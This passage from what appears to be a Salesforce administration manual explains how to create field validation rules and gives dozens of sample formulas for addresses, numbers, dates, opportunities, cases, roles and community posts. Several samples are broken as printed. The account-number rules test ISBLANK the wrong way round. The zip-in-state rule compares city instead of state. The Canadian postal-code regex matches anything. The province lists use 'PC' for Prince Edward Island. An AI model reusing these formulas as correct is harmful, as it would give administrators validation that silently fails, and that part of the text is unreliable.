object on which you create a validation rule, verify that the validation rule functions as intended on each layout. If
your organization has any integrations that use this object, verify that the validation rule functions as intended for
each integration.

See Also:
Defining Validation Rules
Examples of Validation Rules

891
Customize Managing Validation Rules

Defining Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field validation rules: “View Setup and Configuration”
To define or change field validation rules: “Customize Application”

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of “True”
or “False.” Validation rules also include an error message to display to the user when the rule returns a value of “True” due to
an invalid value.
Before creating validation rules, review the Validation Rule Considerations on page 922.
To create validation rules:

1. For standard objects, click Setup ➤ Customize, select the appropriate activity, tab, or users link, and click Validation
Rules.
For custom objects, click Setup ➤ Create ➤ Objects and select the custom object.
To create a validation rule for the Comment field in Salesforce CRM Ideas, click Setup ➤ Customize ➤ Ideas ➤ Comment
Validation Rules.
To create validation rules for campaign members, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Member ➤
Validation Rules.
2. Click New in the Validation Rules related list.
3. Enter the properties of your validation rule:

Field Description
Rule Name Unique identifier of up to 80 characters with no spaces or special characters such
as extended characters.
Active Checkbox that indicates if the rule is enabled.
Description For internal purposes only. Use this field to enter a 255 character or less description
that distinguishes the validation rule from others.
Error Condition Formula The expression used to validate the field. See Building Formulas on page 879 and
Operators and Functions on page 931.
Error Message The message that displays to the user when a field fails the validation rule.
If your organization uses the Translation Workbench, you can translate the error
message into the languages Salesforce.com supports. See Setting Up the Translation
Workbench on page 437.

892
Customize Managing Validation Rules

Field Description
Error Location Determines where on the page to display the error. To display the error next to a
field, choose Field and select the field. If the error location is a field, the validation
rule is also listed on the detail page of that field. If the error location is set to a
field that is later deleted or a field that is read only or not visible on the page layout,
Salesforce.com automatically changes the error location to Top of Page.
Note: Error messages can only be displayed at the top of the page in
validation rules for Salesforce CRM Ideas.

4. Click Check Syntax to check your formula for errors.


5. Click Save to finish or Save & New to create additional validation rules.

Note: The detail page of a custom activity field does not list associated validation rules. To edit the validation rule
for a custom activity field, select the validation rule by clicking Setup ➤ Customize ➤ Activities and choose Task
Validation Rules or Event Validation Rules.

See Also:
About Validation Rules
Examples of Validation Rules

Examples of Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field validation rules: “View Setup and Configuration”
To define or change field validation rules: “Customize Application”

Use the following samples for validation rules in Salesforce.com and Force.com AppExchange apps, including:

• Account Validation Rules


• Contact Validation Rules
• Opportunity Management Validation Rules
• Quote Validation Rules
• Call Center Validation Rules
• User, Role, and Profile Validation Rules
• Account Address Validation Rules
• Date Validation Rules

893
Customize Managing Validation Rules

• Number Validation Rules


• Cross Object Validation Rules
• Community Validation Rules (Answers and Ideas)
• Other Validation Rules

See Also:
About Validation Rules
Defining Validation Rules

Account Address Validation Rules

Canadian Billing Postal Code

Field Value
Description: Validates that the account Billing Zip/Postal Code is in the correct format if
Billing Country is Canada.

Formula: AND(
OR(BillingCountry = "CAN", BillingCountry = "CA", BillingCountry
= "Canada"),
NOT(REGEX(BillingPostalCode,
"((?i)[ABCEGHJKLMNPRSTVXY]\\d[A-Z]?\\s?\\d[A-Z]\\d)?"))
)

Error Message: Canadian postal code must be in A9A 9A9 format.


Error Location: Billing Zip/Postal Code

Billing Zip Code is in Billing State

Field Value
Description: Validates that the account Billing Zip/Postal Code is valid by looking up the
first five characters of the value in a custom object called Zip_Code__c that contains a
record for every valid zip code in the US. If the zip code is not found in the Zip_Code__c
object, or the Billing State does not match the corresponding State_Code__c in
the Zip_Code__c object, an error is displayed.
Formula: VLOOKUP(
$ObjectType.Zip_Code__c.Fields.City__c ,
$ObjectType.Zip_Code__c.Fields.Name ,
LEFT(BillingPostalCode,5)) <> BillingCity

Error Message: Billing Zip Code does not exist in specified Billing State.
Error Location: Billing Zip/Postal Code

894
Customize Managing Validation Rules

US Billing Zip Code

Field Value
Description: Validates that the account Billing Zip/Postal Code is in 99999 or 99999-9999
format if Billing Country is USA or US.
Formula: AND(
OR(BillingCountry = "USA", BillingCountry = "US"),
NOT(REGEX(BillingPostalCode, "\\d{5}(-\\d{4})?"))
)

Note: This example uses the REGEX function; see Shipping Zip Code on page
895 if you are not familiar with regular expressions.

Error Message: Zip code must be in 99999 or 99999-9999 format.


Error Location: Billing Zip/Postal Code

Shipping Zip Code

Field Value
Description: Validates that the account Shipping Zip/Postal Code is in 99999 or 99999-9999 format
if Shipping Country is USA or blank.

895
Customize Managing Validation Rules

Field Value
Formula: AND(
OR(ShippingCountry = "USA", ISBLANK(ShippingCountry)),
OR(
AND(LEN(ShippingPostalCode) <>5, LEN(ShippingPostalCode) <> 10),
NOT(CONTAINS("0123456789", LEFT( ShippingPostalCode, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 5, 1))),
AND(
LEN(ShippingPostalCode) = 10,
OR(
MID( ShippingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 7, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 8, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 9, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 10, 1)))
)
)
)
)

Note: This example interprets a blank country as US. To use this example with other
countries, remove the clause that checks the length of the country field. Also, validation
rule criteria are case sensitive, so this rule is only enforced when the country is blank or
“USA” in all capital letters. The rule is not enforced when the country is “usa.”

Tip: You can also validate zip codes using a regular expression; for an example of a
formula using a regular expression, see REGEX on page 974.

Error Message: Zip code must be in 99999 or 99999-9999 format.


Error Location: Shipping Zip/Postal Code

Valid Billing State (US)

Field Value
Description: Validates that the account Billing State/Province is a valid two-character
abbreviation if Billing Country is US, USA, or blank.

896
Customize Managing Validation Rules

Field Value
Formula: AND (
OR(BillingCountry = "US", BillingCountry="USA",
ISBLANK(BillingCountry)),
OR(
LEN(BillingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", BillingState)
)))

Note: This example interprets a blank country as US. To use this example with
other countries, remove the clause that checks the length of the country field.
Also, validation rule criteria are case sensitive, so this rule is only enforced when
the country is blank or “USA” in all capital letters. The rule is not enforced
when the country is “usa.”

Error Message: A valid two-letter state code is required.


Error Location: Billing State/Province

Valid Billing Province (Canada)

Field Value
Description: Validates that the account Billing State/Province is a valid two-character abbreviation if
Billing Country is CA or CAN.

Formula: AND (
OR(BillingCountry = "CA", BillingCountry="CAN"),
OR(
LEN(BillingState) < 2,
NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", BillingState)
)))

Error Message: A valid two-letter province code is required.


Error Location: Billing State/Province

Valid Shipping State

Field Value
Description: Validates that the account Shipping State/Province is a valid two-character abbreviation if
Shipping Country is US, USA, or blank.

897
Customize Managing Validation Rules

Field Value
Formula: AND (
OR(ShippingCountry = "US", ShippingCountry="USA",
ISBLANK(ShippingCountry)),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", ShippingState)
)))

Note: This example interprets a blank country as US. To use this example with other countries,
remove the clause that checks the length of the country field. Also, validation rule criteria are
case sensitive, so this rule is only enforced when the country is blank or “USA” in all capital
letters. The rule is not enforced when the country is “usa.”

Error Message: A valid two-letter state abbreviation is required.


Error Location: Shipping State/Province

Valid Shipping Province (Canada)

Field Value
Description: Validates that the account Shipping State/Province is a valid two-character abbreviation, if
Billing Country is CA or CAN.

Formula: AND (
OR(ShippingCountry = "CA", ShippingCountry="CAN"),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", ShippingState)
)))

Error Message: A valid two-letter province abbreviation is required.


Error Location: Shipping State/Province

Valid Billing Country

Field Value
Description: Validates that the account Billing Country is a valid ISO 3166 two-letter code.

898
Customize Managing Validation Rules

Field Value
Formula: OR(
LEN(BillingCountry) = 1,
NOT(
CONTAINS(
"AF:AX:AL:DZ:AS:AD:AO:AI:AQ:AG:AR:AM:" &
"AW:AU:AZ:BS:BH:BD:BB:BY:BE:BZ:BJ:BM:BT:BO:" &
"BA:BW:BV:BR:IO:BN:BG:BF:BI:KH:CM:CA:CV:KY:" &
"CF:TD:CL:CN:CX:CC:CO:KM:CG:CD:CK:CR:CI:HR:" &
"CU:CY:CZ:DK:DJ:DM:DO:EC:EG:SV:GQ:ER:EE:ET:FK:" &
"FO:FJ:FI:FR:GF:PF:TF:GA:GM:GE:DE:GH:GI:GR:GL:" &
"GD:GP:GU:GT:GG:GN:GW:GY:HT:HM:VA:HN:HK:HU:" &
"IS:IN:ID:IR:IQ:IE:IM:IL:IT:JM:JP:JE:JO:KZ:KE:KI:" &
"KP:KR:KW:KG:LA:LV:LB:LS:LR:LY:LI:LT:LU:MO:MK:" &
"MG:MW:MY:MV:ML:MT:MH:MQ:MR:MU:YT:MX:FM:MD:MC:" &
"MC:MN:ME:MS:MA:MZ:MM:MA:NR:NP:NL:AN:NC:NZ:NI:" &
"NE:NG:NU:NF:MP:NO:OM:PK:PW:PS:PA:PG:PY:PE:PH:" &
"PN:PL:PT:PR:QA:RE:RO:RU:RW:SH:KN:LC:PM:VC:WS:" &
"SM:ST:SA:SN:RS:SC:SL:SG:SK:SI:SB:SO:ZA:GS:ES:" &
"LK:SD:SR:SJ:SZ:SE:CH:SY:TW:TJ:TZ:TH:TL:TG:TK:" &
"TO:TT:TN:TR:TM:TC:TV:UG:UA:AE:GB:US:UM:UY:UZ:" &
"VU:VE:VN:VG:VI:WF:EH:YE:ZM:ZW",
BillingCountry)))

Error Message: A valid two-letter country code is required.


Error Location: Billing Country

Account Validation Rules

Account Number Is Numeric

Field Value
Description: Validates that the Account Number is numeric if not blank.
Formula: AND(
ISBLANK(AccountNumber),
NOT(ISNUMBER(AccountNumber))
)

Error Message: Account Number is not numeric.


Error Location: Account Number

Account Number Length

Field Value
Description: Validates that the Account Number is exactly seven digits (if it is not blank). The
number seven is simply illustrative. You can change this to any number you like.

899
Customize Managing Validation Rules

Field Value
Formula: AND(
ISBLANK(AccountNumber),
LEN(AccountNumber) <> 7
)

Error Message: Account Number must be seven digits.


Error Location: Account Number

Annual Revenue Range

Field Value
Description: Validates that the account Annual Revenue is not negative and does not exceed $100
billion. This limit is designed to catch typos.
Formula: OR(
AnnualRevenue < 0,
AnnualRevenue > 100000000000
)

Error Message: Annual Revenue cannot exceed 100 billion.


Error Location: Annual Revenue

Number Validation Rules

Time Cards Must Total 40 Hours

Field Value
Description: Ensures that users cannot save a time card record with more than 40 hours in a work
week. This example requires five custom fields on your custom object, one for each day
of work.
Formula: Monday_Hours__c +
Tuesday_Hours__c +
Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40

Error Message: Your total hours cannot exceed 40.


Error Location: Top of Page

900
Customize Managing Validation Rules

Number Cannot Be Negative

Field Value
Description: Validates that a custom field called Hours Worked is not a negative number.
Formula: Hours_Worked__c < 0

Error Message: Hours Worked cannot be less than zero.


Error Location: Hours Worked

Number Must Be Even

Field Value
Description: Validates that a custom field called Ark Passengers is a non-negative even number.
Formula: OR(
Ark_Passengers__c < 0,
MOD( Ark_Passengers__c, 2) <> 0
)

Error Message: Ark Passengers must be a positive even number.


Error Location: Ark Passengers

Number Must Be Odd

Field Value
Description: Validates that a custom field called Socks Found is a non-negative odd number.
Formula: OR(
Socks_Found__c < 0,
MOD( Socks_Found__c, 2) = 0
)

Error Message: Socks Found must be an odd number.


Error Location: Socks Found

Number Must Be a Multiple of Five

Field Value
Description: Validates that a custom field called Multiple of 5 is a multiple of five.
Formula: MOD( Multiple_of_5__c, 5) <> 0

Error Message: Number must be a multiple of five.


Error Location: Multiple of 5

901
Customize Managing Validation Rules

Number Must Be an Integer

Field Value
Description: Validates that a custom field called My Integer is an integer.
Formula: FLOOR( My_Integer__c) <> My_Integer__c

Error Message: This field must be an integer.


Error Location: My Integer

Number Must Be Between -50 and 50

Field Value
Description: Validates that a custom field called Volume is between -50 and 50.
Formula: ABS( Volume__c) > 50

Error Message: Volume must be between -50 and 50.


Error Location: Volume

Number Range Validation

Field Value
Description: Validates that the range between two custom fields, Salary Min and Salary Max,
is no greater than $20,000.
Formula: (Salary_Max__c - Salary_Min__c) > 20000

Error Message: Salary range must be within $20,000. Adjust the Salary Max or Salary Min values.
Error Location: Salary Max

Percentage Must Be Between Zero and 100

Field Value
Description: Validates that a custom field called Mix Pct is between 0 and 100%. Note that percent
fields are expressed divided by 100 in formulas (100% is expressed as 1; 50% is expressed
as 0.5).
Formula: OR(
Mix_Pct__c > 1.0,
Mix_Pct__c < 0.0
)

Error Message: Mix Pct must be between 0 and 100%.


Error Location: Mix Pct

902
Customize Managing Validation Rules

Contact Validation Rules

Mailing Address Fields Are Required

Field Value
Description: Validates that the contact Mailing Street, Mailing City, and Mailing Country
are provided.
Formula: OR(
ISBLANK( MailingStreet ),
ISBLANK( MailingCity ),
ISBLANK( MailingCountry )
)

Error Message: Mailing Street, City, and Country are required.


Error Location: Top of Page

Mailing Street Is Required

Field Value
Description: Validates that the contact Mailing Street is provided.
Formula: ISBLANK( MailingStreet )

Error Message: Mailing Street is required.


Error Location: Mailing Street

Mailing Zip Code

Field Value
Description: Validates that the contact Mailing Zip/Postal Code is in 99999 or 99999-9999 format if
Mailing Country is USA or blank.

903
Customize Managing Validation Rules

Field Value
Formula: AND(
OR(MailingCountry = "USA", ISBLANK(MailingCountry)),
OR(
AND(LEN(MailingPostalCode) <>5, LEN(MailingPostalCode) <> 10),
NOT(CONTAINS("0123456789", LEFT( MailingPostalCode, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 5, 1))),
AND(
LEN(MailingPostalCode) = 10,
OR(
MID( MailingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 7, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 8, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 9, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 10, 1)))
)
)
)
)

Note: This example interprets a blank country as US. To use this example with other
countries, remove the clause that checks the length of the country field. Also, validation
rule criteria are case sensitive, so this rule is only enforced when the country is blank or
“USA” in all capital letters. The rule is not enforced when the country is “usa.”

Tip: You can also validate zip codes using a regular expression; for an example of a
formula using a regular expression, see REGEX on page 974.

Error Message: Zip code must be in 99999 or 99999-9999 format.


Error Location: Mailing Zip/Postal Code

Phone Number Has International Format

Field Value
Description: Validates that the Phone number begins with a plus sign (+) for country code. Note that
this validation rule conflicts with the ten-digit rule.
Formula: LEFT(Phone, 1) <> "+"

Error Message: Phone number must begin with + (country code).


Error Location: Phone

US Phone Number Has Ten Digits

Field Value
Description: Validates that the Phone number is in (999) 999-9999 format. This works by using the
REGEX function to check that the number has ten digits in the (999) 999-9999 format.

904
Customize Managing Validation Rules

Field Value
Formula: NOT(REGEX(Phone, "\\D*?(\\d\\D*?){10}"))

Error Message: US phone numbers should be in this format: (999) 999-9999.


Error Location: Phone

Date Validation Rules

Date Must Be a Weekday

Field Value
Description: Validates that the value of a custom date field is a weekday (not Saturday or Sunday).
Formula: CASE(MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 0,
6, 0,
1) = 0

Error Message: Date must be a weekday.


Error Location: My Date

Date Must Be a Weekend Day

Field Value
Description: Validates that the value of a custom date field is a Saturday or Sunday.
Formula: CASE( MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 1,
6, 1,
0) = 0

Error Message: Date must be a weekend day.


Error Location: My Date

Date Must Be in the Current Month

Field Value
Description: Validates that a custom date field contains a date within the current month and year.

905
Customize Managing Validation Rules

Field Value
Formula: OR (
YEAR( My_Date__c ) <> YEAR ( TODAY() ),
MONTH( My_Date__c ) <> MONTH ( TODAY() )
)

Error Message: Date must be in the current month.


Error Location: My Date

Date Must Be in the Current Year

Field Value
Description: Validates that a custom date field contains a date within the current year.
Formula: YEAR( My_Date__c ) <> YEAR ( TODAY() )

Error Message: Date must be in the current year.


Error Location: My Date

Date Must Be the Last Day of the Month

Field Value
Description: Validates whether a custom field called My Date is the last day of the month. To do
this, it determines the date of the first day of the next month and then subtracts 1 day.
It includes special case logic for December.
Formula: DAY(My_Date__c) <>
IF(Month(My_Date__c)=12, 31,
DAY(DATE(YEAR(My_Date__c),MONTH(My_Date__c)+1,1) - 1))

Error Message: Date must be the last day of the month.


Error Location: My Date

Date Must Be Within One Year of Today

Field Value
Description: Validates whether a custom field called Follow-Up Date is within one year of today’s
date. This example assumes a 365 day year. (It does not handle leap years.)
Formula: Followup_Date__c - TODAY() > 365

Error Message: Follow-Up Date must be within one year of today.


Error Location: Follow-Up Date

906
Customize Managing Validation Rules

Day of Month Cannot Be Greater Than 15

Field Value
Description: Validates that a custom field called Begin Date contains a date in the first 15 days of
the specified month.
Formula: DAY( Begin_Date__c ) > 15

Error Message: Begin Date cannot be after the 15th day of month.
Error Location: Begin Date

End Date Cannot Be Before Begin Date

Field Value
Description: Validates that a custom field called End Date does not come before another custom
field called Begin Date.
Formula: Begin_Date__c > End_Date__c

Error Message: End Date cannot be before Begin Date.


Error Location: Begin Date

Expiration Date Cannot Be Before Close Date

Field Value
Description: Validates that a custom field called Expiration Date does not come before Close
Date.

Formula: Expiration_Date__c < CloseDate

Error Message: Expiration Date cannot be before Close Date.


Error Location: Expiration Date

Opportunity Management Validation Rules

Conditionally-Required Field Based on Opportunity Stage

Field Value
Description: Validates that a custom field called Delivery Date is provided if an opportunity has
advanced to the Closed Won or Negotiation/Review stage.

907
Customize Managing Validation Rules

Field Value
Formula: AND (
OR (
ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName, "Negotiation/Review")),
ISBLANK(Delivery_Date__c)
)

Error Message: Delivery Date is required for this stage.


Error Location: Delivery Date

Close Date Cannot Be Prior to Current Month

Field Value
Description: Validates that the Close Date of an opportunity is not within a month prior to the
current month. Note the use of ISNEW and ISCHANGED in this formula to ensure
the condition is only checked when the opportunity is being created or the Close Date
field is modified subsequently.
Formula: AND(
OR (
ISNEW(),
ISCHANGED( CloseDate )),
CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1) )

Error Message: Close Date cannot be prior to current month.


Error Location: Close Date

Close Date Must Be a Future Date

Field Value
Description: Ensures that users do not change the Close Date of an opportunity to a day in the past.
Formula: CloseDate < TODAY()

Error Message: Close Date cannot be a day in the past.


Error Location: Close Date

Discounts on Opportunities

Field Value
Description: Validates that a custom discount percent field is between 0 and 40%.
Formula: OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)

Error Message: The Discount Rate must not exceed 40%.

908
Customize Managing Validation Rules

Field Value
Error Location: Discount Rate

High-Value Opportunity Must Be Approved Before Closed

Field Value
Description: Opportunities with amounts greater than $50,000 require that a custom checkbox field
called Approved is checked in order to change the stage to Closed Won or Closed Lost.
To automate this, set field-level security on the Approved checkbox so that it can only
be checked via a custom approval process. (Enterprise Edition or Unlimited Edition)
Formula: AND(
OR(
ISPICKVAL(StageName,"Closed Won"),
ISPICKVAL(StageName,"Closed Lost")),
(Amount > 50000),
NOT(ISPICKVAL(Approval_Status__c ,"Approved")))

Error Message: All high-value opportunities must be approved for closure. Click the Request Close
button.
Error Location: Top of Page

Opportunity Amount Cannot Exceed $10 Million

Field Value
Description: Validates that opportunity Amount is positive and no more than $10 million. This limit
is designed to catch typos.
Formula: OR(
Amount < 0,
Amount > 10000000
)

Error Message: Amount cannot exceed $10 million.


Error Location: Amount

Opportunity Check for Products

Field Value
Description: Validates that an opportunity has at least one opportunity product before users can save a change
to an opportunity.
Formula: NOT(OR(ISNEW(),HasOpportunityLineItem))

Error Message: You must add products to this opportunity before saving.
Error Location: Top of Page

909
Customize Managing Validation Rules

Opportunity Must Have Products if Beyond “Needs Analysis” Stage

Field Value
Description: Validates that an opportunity has opportunity products before the Stage can move
beyond Needs Analysis.
Formula: AND (
CASE( StageName,
"Value Proposition", 1,
"Id. Decision Makers", 1,
"Perception Analysis", 1,
"Proposal/Price Quote", 1,
"Negotiation/Review", 1,
"Closed Won", 1,
0) = 1,
NOT(HasOpportunityLineItem)
)

Error Message: Opportunity products are required to advance beyond the Needs Analysis stage.
Error Location: Top of Page

Opportunity Name Format

Field Value
Description: Validates that an opportunity contains a hyphen as a way of enforcing an “[Account] -
[Amount]” opportunity naming convention.
Formula: FIND( " - ", Name ) = 0

Error Message: Opportunity Name should use “[Account] - [Amount]” format.


Error Location: Opportunity Name

Prevent Sales Reps from Moving Opportunity Stage Backwards

Field Value
Description: Prevent sales reps from changing opportunity Stage “backwards” to specific values, once
they have accepted the opportunity via a custom approval process. The approval process
sets the custom Accepted Flag checkbox to True.
Formula: AND(
Accepted_Flag__c,
OR ( ISPICKVAL( StageName, "Stage 1"), ISPICKVAL( StageName,
"Stage 2"))
)

Error Message: Invalid stage for accepted opportunity.


Error Location: Stage

910
Customize Managing Validation Rules

Probability Must Be 100% for Won Opportunities

Field Value
Description: Validates that the probability of a won opportunity is properly set to 100%. This is useful
for data cleanliness and reporting purposes.
Formula: AND (
ISPICKVAL( StageName, "Closed Won"),
Probability <> 1)

Error Message: Probability must be 100% for won opportunities.


Error Location: Probability

Probability Must Be Zero for Lost Opportunities

Field Value
Description: Validates that the probability of a lost opportunity is properly set to zero. This is useful
for data cleanliness and reporting purposes.
Formula: AND (
ISPICKVAL( StageName, "Closed Lost"),
Probability <> 0)

Error Message: Probability must be 0% for lost opportunities.


Error Location: Probability

Project Start Date

Field Value
Description: Validates that a field is conditionally required based on the values of other fields. Use this
validation formula to ensure that users include a Project Start Date for an opportunity
that is closed/won.
Formula: AND(ISPICKVAL(StageName, "Closed Won"),
ISNULL(Project_Start_Date__c))

Error Message: Project start date is required for won opportunities.


Error Location: Project Start Date

911
Customize Managing Validation Rules

Quote Validation Rules

Display Error if Quote Line Item Discount Exceeds 40%

Field Value
Description: Shows an error if a quote line item's discount exceeds 40%.
Formula: Discount > .40

Error Message: The discount on this quote line item cannot exceed 40%.
Error Location: Discount on quote

Call Center Validation Rules

Conditionally Require Description When Case Reason is “Other”

Field Value
Description: Validates that a custom field called Other Reason contains a value if a case has a Case
Reason of “Other.”

Formula: AND(
ISPICKVAL( Reason, "Other" ),
ISBLANK(Other_Reason__c)
)

Error Message: Description of Other Reason is required.


Error Location: Other Reason

Prevent Open Cases from Being Reset to New

Field Value
Description: If a case is already open, prevents the Status from being changed back to “New.”
Formula: AND(
ISCHANGED( Status ),
NOT(ISPICKVAL(PRIORVALUE( Status ), "New")),
ISPICKVAL( Status, "New")
)

Error Message: Open case Status cannot be reset to New.


Error Location: Status

912
Customize Managing Validation Rules

Restrict Status of Re-Opened Cases

Field Value
Description: Validates that the case Status is “Re-opened” when a closed case is opened again.
Formula: AND(
ISCHANGED( Status ),
OR(
ISPICKVAL(PRIORVALUE( Status ), "Closed"),
ISPICKVAL(PRIORVALUE( Status ), "Closed in SSP")),
NOT( ISPICKVAL( Status, "Re-Opened"))
)

Error Message: Closed case can only be changed to “Re-opened.”


Error Location: Status

User, Role, and Profile Validation Rules

Discount Percent Does Not Exceed Role-Based Limit

Field Value
Description: Validates that a custom field on opportunities called Discount Percent does not
exceed a maximum value that varies depending on the user’s role. The default maximum
is 15%.
Formula: Discount_Percent__c >
VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,
$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)

Error Message: Discount (%) exceeds limit allowed for your role.
Error Location: Discount Percent

Expense Amount Does Not Exceed User's Max Allowed Expense

Field Value
Description: Validates a custom field called Expense Amount against a custom user field called Max
Allowed Expense.

Formula: Expense_Amount__c > $User.Max_Allowed_Expense__c

Error Message: Amount cannot exceed your maximum allowed expense.


Error Location: Expense Amount

913
Customize Managing Validation Rules

Only Record Owner Can Change Field

Field Value
Description: Ensures that only the record owner can make changes to a custom field called Personal
Goal.

Formula: AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id
)

Error Message: Only record owner can change Personal Goal.


Error Location: Personal Goal

Only Record Owner or Administrator Can Change Field

Field Value
Description: Ensures that a user can make changes to a custom field called Personal Goal only if
the user is the record owner or has a custom profile of “Custom: System Admin.”
Formula: AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)

Note: $Profile merge fields are only available in Enterprise, Unlimited, and
Developer Editions.

Error Message: Only record owner or administrator can change Personal Goal.
Error Location: Personal Goal

Opportunity Close Date Can Only Be Back-Dated by Administrator

Field Value
Description: Validates that the Close Date of an opportunity does not fall prior to the current
month, except for users who have a custom profile called “Custom: System Admin.”

914
Customize Managing Validation Rules

Field Value
Formula: AND(
OR (
ISNEW(),
ISCHANGED( CloseDate )),
CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1),
$Profile.Name <> "Custom: System Admin"
)

Note: $Profile merge fields are only available in Enterprise, Unlimited, and
Developer Editions.

Error Message: Close Date cannot be prior to current month.


Error Location: Close Date

Cross Object Validation Rules

Discounts Must Be Within Range


This example consists of three validation rules on opportunity products. The examples below work together to help you manage
discount amounts for products and require a custom percent field on opportunity products called Line Discount. The
examples below also require you to use price books and customize the Product Family field to include the following values:
Software, Consulting, and Training.
Software Discounts

Field Value
Description: Prevents users from saving software products with a discount
over 10 percent.
Formula: AND(Line_Discount__c > 0.10,
ISPICKVAL(Product2.Family, "Software"))

Error Message: The discount must be 10% or less for software products.
Error Location: Line Discount

Consulting Discounts

Field Value
Description: Prevents users from saving consulting products with a discount
over 15 percent.
Formula: AND(Line_Discount__c > 0.15,
ISPICKVAL(Product2.Family, "Consulting"))

Error Message: The discount must be 15% or less for consulting products.

915
Customize Managing Validation Rules

Field Value
Error Location: Line Discount

Training Discounts

Field Value
Description: Prevents users from saving training products with a discount
over 20 percent.
Formula: AND(Line_Discount__c > 0.20,
ISPICKVAL(Product2.Family, "Training"))

Error Message: The discount must be 20% or less for training products.
Error Location: Line Discount

Prevent Changing Opportunity Products on Closed Opportunities


This example consists of two validation rules: one on opportunity products and another on opportunities.

Field Value
Description: Prevents users from editing opportunity products after an
opportunity is closed. Create the following validation rule
example on opportunity products.
Formula: OR(ISPICKVAL(Opportunity.StageName, "Closed
Won"), ISPICKVAL(Opportunity.StageName,
"Closed Lost"))

Error Message: Cannot change opportunity products for closed opportunities.


Error Location: Top of Page

The following validation rule is on opportunities.

Field Value
Description: Prevents users from deleting opportunity products after an
opportunity is closed. Create the following validation rule
example on opportunities. It uses a custom roll-up summary
field on opportunities that counts the number of opportunity
products on an opportunity.
Formula: AND(OR(ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName, "Closed Lost")),
Number_of_Line_Items__c <
PRIORVALUE(Number_of_Line_Items__c) )

Error Message: Cannot delete opportunity products for closed opportunities.

916
Customize Managing Validation Rules

Field Value
Error Location: Top of Page

Prevent Saving a Case When Account Does Not Have Support

Field Value
Description: Prevents users from saving a case for an account that does not
have support. This example assumes you have a custom
checkbox field on accounts called Allowed Support that
tracks if the account has support.
Formula: Account.Allowed_Support__c = FALSE

Error Message: Unable to create cases for this account because it is not signed
up for support.
Error Location: Top of Page

Prevent Saving a Case When Contact is No Longer with the Company

Field Value
Description: Prevents users from saving an open case associated with a
contact that is no longer with the company. This example uses
a custom checkbox field on contacts called No Longer With
Company.

Formula: AND(Contact.No_Longer_With_Company__c,
NOT(IsClosed))

Error Message: Unable to save this case because the related contact is no longer
with the company. To continue, choose another contact.
Error Location: Contact Name

Community Validation Rules

Preventing Offensive Language in Questions

Field Value
Description: Prevents users from entering offensive language in the Title and Description fields
when asking a question.
Formula: OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))

Error Message: Question title or description contains offensive language.

917
Customize Managing Validation Rules

Preventing Offensive Language in Replies

Field Value
Description: Prevents users from entering offensive language when replying to a question.
Formula: OR(CONTAINS(Body, 'darn'), CONTAINS(Body, 'dang'))

Error Message: Reply contains offensive language.

Preventing Offensive Language in Ideas

Field Value
Description: Prevents users from entering offensive language in the Title and Description fields
when posting an idea.
Formula: OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))

Error Message: Idea title or description contains offensive language.

Preventing Offensive Language in Idea Comments

Field Value
Description: Prevents users from entering offensive language when posting a comment.
Formula: OR(CONTAINS(CommentBody , 'darn'), CONTAINS(CommentBody, 'dang'))

Error Message: Comment contains offensive language.

Other Validation Rules

Allow Number to Be Increased but Not Decreased

Field Value
Description: Allows a custom field called Commit Amount to be increased but not decreased after
initial creation. This rule uses the PRIORVALUE() function to compare the updated
